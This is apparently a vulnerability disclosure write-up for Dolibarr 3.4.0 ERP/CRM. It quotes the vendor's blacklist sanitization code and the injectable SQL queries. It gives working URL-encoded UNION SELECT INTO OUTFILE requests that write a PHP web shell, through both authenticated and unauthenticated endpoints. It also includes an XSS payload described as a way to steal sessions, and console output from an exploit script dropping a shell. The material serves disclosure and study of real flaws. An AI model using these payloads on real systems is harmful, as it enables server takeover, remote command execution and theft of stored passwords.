Dolibarr 3.4.0 - Multiple Vulnerabilities

Dolibarr is an open source, enterprise-grade ERP/CRM application developed in PHP. The latest stable release, 3.4.0, is vulnerable to a host of remotely exploitable post and pre auth vulnerabilities, along with several seriously mind-bending security/architecture choices. These vulnerabilities and issues were privately disclosed to the vendor, and the SQLi was patched in version 3.4.1. However, their sanitization methods were not fixed, and no mention was made on a future patch. Other SQLi vectors are likely.

There are multiple SQL injections that lead to a compromise of the availability/integrity of the database or web server. The scenario and context of the vulnerabilities are rather interesting, as multiple blacklisting techniques are used by Dolibarr in an attempt to mitigate malicious queries slipping through; nevertheless, as we know, blacklisting never works. No parameterized queries are to be found in source.

The following is included in each page and used for “sanitization” main.inc.php:

function analyse_sql_and_script(&$var, $type)
{
    if (is_array($var))
    {
        foreach ($var as $key => $value)
        {
            if (analyse_sql_and_script($value,$type))
            {
                $var[$key] = $value;
            }
            else
            {
                print 'Access refused by SQL/Script injection protection in main.inc.php';
                exit;
            }
        }
        return true;
    }
    else
    {
        return (test_sql_and_script_inject($var,$type) <= 0);
    }
}

Pretty typical recursive function for sanitizing input. The following performs the actual sanity checking:

function test_sql_and_script_inject($val, $type)
{
    $sql_inj = 0;
    // For SQL Injection (only GET and POST are used to be included into bad escaped SQL requests)
    if ($type != 2)
    {
        $sql_inj += preg_match('/delete[\s]+from/i', $val);
        $sql_inj += preg_match('/create[\s]+table/i', $val);
        $sql_inj += preg_match('/update.+set.+=/i', $val);
        $sql_inj += preg_match('/insert[\s]+into/i', $val);
        $sql_inj += preg_match('/select.+from/i', $val);
        $sql_inj += preg_match('/union.+select/i', $val);
        $sql_inj += preg_match('/(\.\.%2f)+/i', $val);
    }
    // For XSS Injection done by adding javascript with script
    // This is all cases a browser consider text is javascript:
    // When it found '<script', 'javascript:', '<style', 'onload\s=' on body tag, '="&' on a tag size with old browsers
    // All examples on page: http://ha.ckers.org/xss.html#XSScalc
    $sql_inj += preg_match('/<script/i', $val);
    if (! defined('NOSTYLECHECK')) $sql_inj += preg_match('/<style/i', $val);
    $sql_inj += preg_match('/base[\s]+href/i', $val);
    if ($type == 1)
    {
        $sql_inj += preg_match('/javascript:/i', $val);
        $sql_inj += preg_match('/vbscript:/i', $val);
    }
    // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param)
    if ($type == 1) $sql_inj += preg_match('/"/i', $val);          // We refused " in GET parameters value
    if ($type == 2) $sql_inj += preg_match('/[\s;"]/', $val);     // PHP_SELF is an url and must match url syntax
    return $sql_inj;
}

It’s quite clear that the blacklisting approach is inefficient; particularly the cross-site scripting protection. The SQLi blacklisting doesn’t restrict INTO OUTFILE/DUMPFILE, meaning with a well-tuned SQL injection we can throw a web shell onto the box.

Let’s take a look at one such vulnerable query contact/fiche.php:

if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->societe->contact->supprimer)
    {
        $result=$object->fetch($_GET["id"]);

contact/class/contact.class.php

function fetch($id, $user=0)
    {
        global $langs;

        $langs->load("companies");

        $sql = "SELECT c.rowid, c.fk_soc, c.civilite as civilite_id, c.lastname, c.firstname,";
        $sql.= " c.address, c.zip, c.town,";
        $sql.= " c.fk_pays as country_id,";
        $sql.= " c.fk_departement,";
        $sql.= " c.birthday,";
        $sql.= " c.poste, c.phone, c.phone_perso, c.phone_mobile, c.fax, c.email, c.jabberid,";
        $sql.= " c.priv, c.note_private, c.note_public, c.default_lang, c.no_email, c.canvas,";
        $sql.= " c.import_key,";
        $sql.= " p.libelle as country, p.code as country_code,";
        $sql.= " d.nom as state, d.code_departement as state_code,";
        $sql.= " u.rowid as user_id, u.login as user_login,";
        $sql.= " s.nom as socname, s.address as socaddress, s.zip as soccp, s.town as soccity, s.default_lang as socdefault_lang";
        $sql.= " FROM ".MAIN_DB_PREFIX."socpeople as c";
        $sql.= " LEFT JOIN ".MAIN_DB_PREFIX."c_pays as p ON c.fk_pays = p.rowid";
        $sql.= " LEFT JOIN ".MAIN_DB_PREFIX."c_departements as d ON c.fk_departement = d.rowid";
        $sql.= " LEFT JOIN ".MAIN_DB_PREFIX."user as u ON c.rowid = u.fk_socpeople";
        $sql.= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s ON c.fk_soc = s.rowid";
        $sql.= " WHERE c.rowid = ". $id;

        dol_syslog(get_class($this)."::fetch sql=".$sql);
        $resql=$this->db->query($sql);

Our vulnerable parameter id is sanitized only by the previously described functions. There are now two main options; dump information from the database, or drop a web shell onto the host. The latter is the best case and the former is, usually, a good consolatory prize. However, in this case, the database is ripe with information, specifically:

Yeah, that’s your plaintext password stored right next to the hashed version. Dumping the database just got a whole lot more interesting.

Our attention now turns to evading the filters listed above. For obtaining a shell, the only evasion we need to consider is UNION SELECT, as INTO OUTFILE/DUMPFILE is not filtered. After a bit of deliberation and source code analysis, it was determined that the filters were trivially bypassed by URL encoding SQL keywords. The following query will drop a web shell at the given location:

http://localhost/dolibarr-3.4.0/htdocs/contact/fiche.php?id=1%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20'<?php%20system($_GET[\'cmd\'])?>',1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35%20INTO%20OUTFILE%20'/var/www/dolibarr-3.4.0/documents/shell.php'&action=confirm_delete&confirm=yes HTTP/1.1

Which results in:

The documents folder is a perfect candidate for our web shell as, during installation of the CMS, this folder must be user-created and writable by the install, giving us a guaranteed and predictable location for the web shell.

This vulnerability has been detected in contact.class.php in four different functions: fetch, update, delete, and create.

We now take another look at the XSS filtering function:

  // For XSS Injection done by adding javascript with script
    // This is all cases a browser consider text is javascript:
    // When it found '<script', 'javascript:', '<style', 'onload\s=' on body tag, '="&' on a tag size with old browsers
    // All examples on page: http://ha.ckers.org/xss.html#XSScalc
    $sql_inj += preg_match('/<script/i', $val);
    if (! defined('NOSTYLECHECK')) $sql_inj += preg_match('/<style/i', $val);
    $sql_inj += preg_match('/base[\s]+href/i', $val);
    if ($type == 1)
    {
        $sql_inj += preg_match('/javascript:/i', $val);
        $sql_inj += preg_match('/vbscript:/i', $val);
    }
    // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param)
    if ($type == 1) $sql_inj += preg_match('/"/i', $val);          // We refused " in GET parameters value
    if ($type == 2) $sql_inj += preg_match('/[\s;"]/', $val);     // PHP_SELF is an url and must match url syntax
    return $sql_inj;

As we can see, this is quite weak, and we can get by with a very simple injection, <body onload=alert(1)>. Injecting this into the last name of a contact results in success:

With this we can syphon off session IDs and completely hijack sessions. Any field that’s reflected back to the user is vulnerable, and considering this is a CMS, that’s a lot.

All of the discussed vulnerabilities have, thus far, been post-auth. One remotely exploitable pre-auth vulnerability was discovered in public/members/public_list.php (configured with define("NOLOGIN",1)), meaning it does not require auth):

$sortfield = GETPOST("sortfield",'alpha');
$sortorder = GETPOST("sortorder",'alpha');
$page = GETPOST("page",'int');
if ($page == -1) { $page = 0; }
$offset = $conf->liste_limit * $page;
$pageprev = $page - 1;
$pagenext = $page + 1;

$filter=GETPOST('filter');
$statut=GETPOST('statut');

if (! $sortorder) {  $sortorder="ASC"; }
if (! $sortfield) {  $sortfield="nom"; }


/*
 * View
 */

llxHeaderVierge($langs->trans("ListOfValidatedPublicMembers"));

$sql = "SELECT rowid, firstname, lastname, societe, zip, town, email, birth, photo";
$sql.= " FROM ".MAIN_DB_PREFIX."adherent";
$sql.= " WHERE entity = ".$entity;
$sql.= " AND statut = 1";
$sql.= " AND public = 1";
$sql.= $db->order($sortfield,$sortorder);
$sql.= $db->plimit($conf->liste_limit+1, $offset);

And core/db/msqli.class.php

 function order($sortfield=0,$sortorder=0)
    {
        if ($sortfield)
        {
            $return='';
            $fields=explode(',',$sortfield);
            foreach($fields as $val)
            {
                if (! $return) $return.=' ORDER BY ';
                else $return.=',';

                $return.=preg_replace('/[^0-9a-z_\.]/i','',$val);
                if ($sortorder) $return.=' '.preg_replace('/[^0-9a-z]/i','',$sortorder);
            }
            return $return;
        }
        else
        {
            return '';
        }
    }

And navigation to the page results in:

As shown, the sortfield and sortorder parameters are inadequately sanitized, but exploitation may be a bit tricky. The order function strips everything that isn’t a number, lowercase alphanumeric letter, or one of three symbols. Instead, why don’t we exploit yet another preauth vulnerability in opensurvey/public/exportcsv.php

$action=GETPOST('action');
$numsondage = $numsondageadmin = '';

if (GETPOST('sondage'))
{
    if (strlen(GETPOST('sondage')) == 24)    // recuperation du numero de sondage admin (24 car.) dans l'URL
    {
        $numsondageadmin=GETPOST("sondage",'alpha');
        $numsondage=substr($numsondageadmin, 0, 16);
    }
    else
    {
        $numsondageadmin='';
        $numsondage=GETPOST("sondage",'alpha');
    }
}

$object=new Opensurveysondage($db);
$result=$object->fetch(0,$numsondage);
if ($result <= 0) dol_print_error('','Failed to get survey id '.$numsondage);

And opensurvey/class/opensurveysondage.class.php

function fetch($id,$numsurvey='')
{
global $langs;

$sql = "SELECT";
//$sql.= " t.rowid,";
$sql.= " t.id_sondage,";
$sql.= " t.commentaires,";
$sql.= " t.mail_admin,";
$sql.= " t.nom_admin,";
$sql.= " t.titre,";
$sql.= " t.id_sondage_admin,";
$sql.= " t.date_fin,";
$sql.= " t.format,";
$sql.= " t.mailsonde,";
$sql.= " t.survey_link_visible,";
$sql.= " t.canedit,";
$sql.= " t.sujet,";
$sql.= " t.tms";
$sql.= " FROM ".MAIN_DB_PREFIX."opensurvey_sondage as t";
if ($id > 0) $sql.= " WHERE t.rowid = ".$id;
else if (strlen($numsurvey) == 16) $sql.= " WHERE t.id_sondage = '".$numsurvey."'";
else $sql.= " WHERE t.id_sondage_admin = '".$numsurvey."'";

dol_syslog(get_class($this)."::fetch sql=".$sql, LOG_DEBUG);
$resql=$this->db->query($sql);

As the bolded path shows, the query argument numsurvey is directly controllable by an unauthenticated user, leading to the same type of SQL vulnerability shown earlier. This can be exploited with the following:

GET /dolibarr/htdocs/opensurvey/public/exportcsv.php?sondage='%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20'<?php%20system($_GET[\'cmd\'])?>',2,3,4,5,6,7,8,9,10,11,12,13%20INTO%20OUTFILE%20'/var/www/dolibarr-3.4.0/documents/shell.php';%20--%20-%20 HTTP/1.1

Using the same URL encoding trick from before, we can bypass the blacklisting and inject directly into the vulnerable query. Exploit code for this is included at the bottom of the post:

root@jali:~/exploits# python dolibarr_34_sploit.py -i 192.168.1.100 -p /dolibarr-3.4.0 -w /var/www/dolibarr-3.4.0/documents
[!] Dropping web shell on 192.168.1.100...
[!] Shell dropped.  http://192.168.1.100/documents/o4oct.php?cmd=ls
root@jali:~/exploits# 

Fortunately, for users running DoliWamp, Dolibarr + WAMP package on Windows, the default user that the database runs with is not allowed to write files. They are still vulnerable, however, to database corruption and traversal (i.e. drop table subqueries, etc.).

Exploit